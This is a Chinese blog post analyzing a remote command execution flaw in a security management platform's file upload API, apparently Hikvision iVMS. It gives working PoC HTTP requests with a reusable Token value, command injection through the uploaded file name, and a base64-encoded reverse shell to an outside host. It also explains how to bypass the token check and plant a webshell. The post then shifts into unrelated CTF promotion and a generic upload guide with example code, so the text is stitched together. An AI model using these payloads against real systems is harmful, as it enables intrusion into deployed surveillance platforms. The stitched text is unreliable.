某安防管理平台一次远程命令执行漏洞分析

通过某些渠道拿到一些漏洞情报,直接打开idea完整的跟一下给他卷出来,简单的讲述一下整个分析的过程以及漏洞触发的流程

漏洞细节

通过情报直接获取到一点点细节,那就直接开始看过程

img

img

直接可以上传webshell,但是这里有一个Token鉴权

img

我们需要看这个Token的生成算法

img

对应的是so文件,需要我们ida逆向分析

img

直接看sub_35690函数即可,

img

这里主要看v8大于等于0的函数即可,这里我就懒得看了

复现

数据包

POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host:
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 566
Content-Type: multipart/form-data; boundary=------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx
Content-Disposition: form-data; name=“file”;filename=“z.zip”
{{file(/Users/zhizhuo/Desktop/tools/目录穿越zip生成器/z.zip)}}
--------------------------LOHhVTVvcAweFijvGOVJEnTJWjEQDyVdzQtdtDcx–

img

没打成功,回头在细梭一边代码,发现最终RCE的地方并不是文件上传,而是文件名字,先放一段要用的payload

"`ping xxx.dnslog.cn`.zip"  
# 反弹shell  
"echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzkwOTkgMD4mMQ== | base64 -d"

文件名字不能有/这tm直接就不能写webshell,看起来只能无回显利用

img

img

img

最后构造的poc数据包

POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1  
Host:   
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805  
Content-Length: 346  

-----------------------------142851345723692939351758052805  
Content-Disposition: form-data; name="file"; filename="`ping xxx.dnslog.cn`.zip"  
Content-Type: application/zip  

123  
-----------------------------142851345723692939351758052805--

Token生成

在@Y4tacker 的指导下完成了整个token获取后台变前台(二进制的算法被Y5割了2个月没给我)
img

对于除了/static/外的路径都会经过验证Token

img

如果传入的Token没有通过验证的话,那么就会生成一个新的Token返回,下面找到访问控制器就可以了

img

构造请求获取Token信息

img

Token到手,在配合前面的上传数据包就可以实现远程命令执行

EXP

构造请求获取Token信息

[外链图片转存中…(img-sljyw9zB-1741055464208)]

Token到手,在配合前面的上传数据包就可以实现远程命令执行

EXP

前面有说到有/拦截不能写webshell,但是实际上是可以,在上面给到的payload中有一个反弹shell的操作,利用的正是linux的特性,所以直接通过base64的方式加上重定向追加写入就是可以写入webshell的## 最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

扫码领取

### 海康威视综合安防平台文件上传方法操作指南 #### 1. 平台概述 海康威视iVMS-8700是一款功能强大的综合安防管理平台软件,广泛应用于各种安全监控场景。该平台支持多种设备接入方式,并提供丰富的管理和维护接口[^3]。 #### 2. 文件上传的安全风险提示 值得注意的是,在使用此类系统时需特别关注安全性问题。此前曾有报告指出该版本存在文件上传漏洞,攻击者可能利用此漏洞执行恶意脚本或命令,因此建议用户及时更新至最新稳定版并遵循官方发布的补丁说明以消除潜在威胁[^1]。 #### 3. 准备工作 为了顺利完成文件上传操作,请先确认已安装好相应的客户端程序以及具备管理员权限账号登录状态正常;另外还需准备好待传输的目标文件及其存储路径规划。 #### 4. 登录与导航 启动应用程序后输入正确的用户名密码完成身份验证过程进入主界面。通过左侧菜单栏依次点击【设置】->【服务器配置】找到目标选项卡准备下一步动作。 #### 5. 配置FTP/SFTP服务参数 如果打算借助第三方协议实现远程文件交换,则需要预先设定好外部连接所需的必要信息如主机名/IP地址、端口号、账户凭证等细节项。具体步骤如下: - **选择传输模式**:根据实际需求决定采用哪种方式进行资料传递(推荐SFTP加密通道) - **填写基本属性**:参照屏幕提示准确录入各项必填字段内容确保无误提交保存更改生效 ```bash # 示例 FTP 设置 (仅作为参考) Host Name: ftp.example.com Port Number: 21 Username: admin_user Password: ********** Remote Directory Path:/uploads/ ``` #### 6. 执行文件传送任务 当上述准备工作全部就绪之后就可以着手实施具体的文件转移活动了。通常情况下可以在界面上直接拖拽本地资源到指定区域亦或是打开专门设计用于此项工作的对话框手动挑选要迁移的对象列表逐一添加进去等待进度条显示完毕即告成功结束整个流程。 对于批量作业而言还可以考虑编写自动化脚本来简化重复劳动提高工作效率减少人为失误概率。下面给出了一段Python代码片段展示如何调用paramiko库来进行基于SSH协议下的安全文件拷贝操作: ```python import paramiko ssh_client = paramiko.SSHClient() ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh_client.connect('ftp.example.com', username='admin_user', password='*********') sftp = ssh_client.open_sftp() local_file_path = '/path/to/local/file.txt' remote_file_path = '/remote/path/file.txt' sftp.put(local_file_path, remote_file_path) finally: if 'sftp' in locals(): sftp.close() ssh_client.close() print("File uploaded successfully.") ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值